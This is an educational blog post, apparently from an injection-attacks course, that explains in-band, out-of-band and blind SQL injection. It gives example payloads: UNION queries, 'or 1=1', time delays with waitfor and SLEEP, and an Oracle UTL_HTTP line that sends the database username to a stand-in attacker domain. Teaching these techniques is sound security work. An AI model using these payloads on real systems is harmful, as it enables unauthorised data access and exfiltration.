We’ve talked about what SQL is, but now, let’s talk about one of the most common and dangerous web-based attacks: SQL injections (aka SQLi).
In this post, extracted from our free Injection Attacks course (with 11,500+ enrollments and 4.4+⭐), we’ll take a look at the impact successful SQL injections can have on applications, databases, and organizations.
We’ll also break up SQL injections into 3 different main categories. Then, we’ll break up those categories into common techniques that can be used to carry out anything from basic to advanced attacks.
We will take a look at examples so that you can see these techniques in action, and so you can understand what makes them different and how they can sometimes be used together.
So go ahead and put on your white hat, and let’s talk about how we can turn seemingly harmless SQL queries into harmful attacks!
The impact of SQL injections
One of the most devastating and common web attacks today is SQL injections.
They have been around for years and they’ve been the result of some of the most serious data breaches in history. In fact, an Akamai report tracking the top web attack vectors from November 2017 to March 2019 found that SQL injections represent nearly two-thirds of all web application attacks.
Why? Because databases are at the heart of web applications, and they are filled with valuable data.
Successful SQL injections allow an attacker to manipulate queries that an application makes to its database. This results in users being able to see data they may not be meant to see, manipulate that data in ways they shouldn’t have access to, or even modify the database itself in ways that could break the database and application.
In some extreme cases, it’s possible for an attacker to escalate an SQL injection attack to compromise the server hosting the database, or perform denial of service attacks (DoS).
More specifically, successful SQL injections can potentially:
- Read sensitive data from the database
- Modify database data with insert/update/delete queries
- Execute administrative operations on the database (like shutting it down, for example)
- Extract the content of a file that exists on the database’s file system
- Write files into the file system
- Issue other types of commands to the operating system
Of course, some of these will attacks will cause more or less damage than others, just like some of these attacks can be easier to carry out than others.
Now that we know the impact that they can have, let’s explore methods and techniques that can be used to achieve these results.
SQL injections in 3 categories
Now that we know how dangerous successful SQL injections can be, let’s take a closer look at how they can be constructed to do this damage.
Overall, SQL injections are often divided into three categories:
- Inferential or Blind
In-band attacks are the classic ones, where the attacker can both launch the attack & obtain results through the same communication channel. The two most popular in-band techniques are:
- Error-based injections
- Union-based injections
Error-based injections get information about the database, its structure, and its data from error messages that are displayed…which you may also know as information leakage.
Depending on how vulnerable an application and database are, we can gather a wealth of information about how an application works and how a database is structured with error-based injections, which can help us mount a devastating attack.
Let’s take a look at an example.
Let’s say that you type this into a search box:
Just a simple single or double quotation mark.
If you check the results of that query and see something like this:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 5
Then all of a sudden, you get two major pieces of information from literally just typing in a single or double quote:
- That the input may be vulnerable to injections, since it tried to interpret your quotes
- That the database management system is MySQL
Since different DBMS have different syntax and ways of doing things, that immediately narrows down the kinds of attacks we can try, instead of aiming blindly.
Union-based combine the results from a legitimate query with those from our attack to extract data.
For example, with this query:
SELECT 'email','password' FROM Users UNION SELECT 'ProductName', 'ProductPrice' from Products;
We would get results from both the Users table and the Products table as we saw in a prior lesson.
So even if the application was only doing a query to select the email & password from the Users table, we could inject that union statement to return information from the Products table. Let’s take a look:
SELECT Email,RegistrationDate FROM Users WHERE ID='159' UNION SELECT ProductName,ProductDescription from Products;
Both of these types of attacks require trial & error since we need to try different things to get more and more information that the attacker can then use to perform a successful attack. That also means that these types of attacks should be detectable with the proper monitoring and logging in place.
Out-of-band attacks exfiltrate data using a different channel than the request was made with using an HTTP or DNS protocol, such as an email with the results of the query or making an HTTP connection to send results to a different web server. This attack requires access to enabled extensions in the Database Management System in order to be successful.
This requires a few things to align in order for it to work:
- You have to have a vulnerable application and database
- The network environment needs to allow the targeted database server to initiate an outbound request without restriction
- You need to gain sufficient privilege escalation to initiate that request
So this technique usually requires that a lot of oversights align just right for it to be possible.
Let’s take a look at an example of how this time of injection could happen:
SELECT * FROM products WHERE id=1||UTL_HTTP.request('http://attacker-url.com/'||(SELECT user FROM DUAL)) --
This would generate an HTTP request that contains the username (http://attacker-url.com/username), sending to the attacker’s domain. The attacker would be monitoring the web server’s logs and see the database server and username.
Inferential or Blind injections
Inferential or Blind attacks rely on a change of behavior with the database in order to re-construct information, since the data won’t be transferred back to the attacker, but they can guess what it is based on the response behavior.
An example of this would be if you injected a timed delay of say, 5 seconds, and the database took 5 seconds to respond back, then that would mean that there is a vulnerability to injection.
This is usually regarded as a very slow method of attack that requires a tremendous amount of queries since the attacker oftentimes uses those timed delays or TRUE/FALSE flags with boolean conditions to make sense of the results.
If we remember back to the example from our prior lesson, we had this query:
SELECT * FROM Products WHERE ID='346';
In this case, we might assume that we are displaying a product page for an e-commerce website. The user visiting your website selected a product with ID of 346.
But, let’s say that they managed to modify the request going to your server from your web application using a proxy like OWASP ZAP, and instead of sending ID of 346, we were to send:
Now the query becomes:
SELECT * FROM Products WHERE ID='346' or 1=1;
Since 1 does equal 1, that statement would always be true, and since we’re saying
WHERE ID = ’346’ or 1=1, then the database will return every single product in our database.
This could mean that the user now has access to products they shouldn’t have been able to buy. Perhaps even products that haven’t been announced yet, but that have all of the specs listed in the database, and they can now sell that information to a news outlet looking to leak this story before anyone else does.
This is an example of a boolean-based attack, since it uses the 1=1.
This is a very basic example, but it is a powerful example, because if the database is vulnerable to a boolean based attack like this, the attacker can immediately start to look for ways of exploiting the database. So, this is a great starting point when gathering information and looking for vulnerabilities.
Time delay injection
Time-based attacks rely on the database pausing for a specified period of time before responding. Doing this requires that you use the right operation, which will be DBMS-specific, so this would be an example of when knowing which database is powering the application helps out.
For example, in SQL Server, we could use this query:
1' waitfor delay '00:00:10'--
And if our injection is successful, the response will take 10 seconds.
For MySQL, we could use
We can then chain other attacks on top of this time delay. For example, if we’re trying to guess a valid user id in a table, we could put:
SELECT * FROM Users WHERE ID=55300-SLEEP(10)
To recap, the main techniques are:
- Time delay
It’s important to understand the various types of SQL injection attacks, because we never know which ones we will need for a particular web application.
Some attacks might not work where others will, based on the application and database configuration as well as security controls.
Just because one type of attack doesn’t return anything useful, by the way, it does not mean that the application and database aren’t vulnerable…we have to explore all available options.
In a future post, we will explore defense techniques in more detail to prevent these attacks from being carried out against our own applications, databases, and organizations.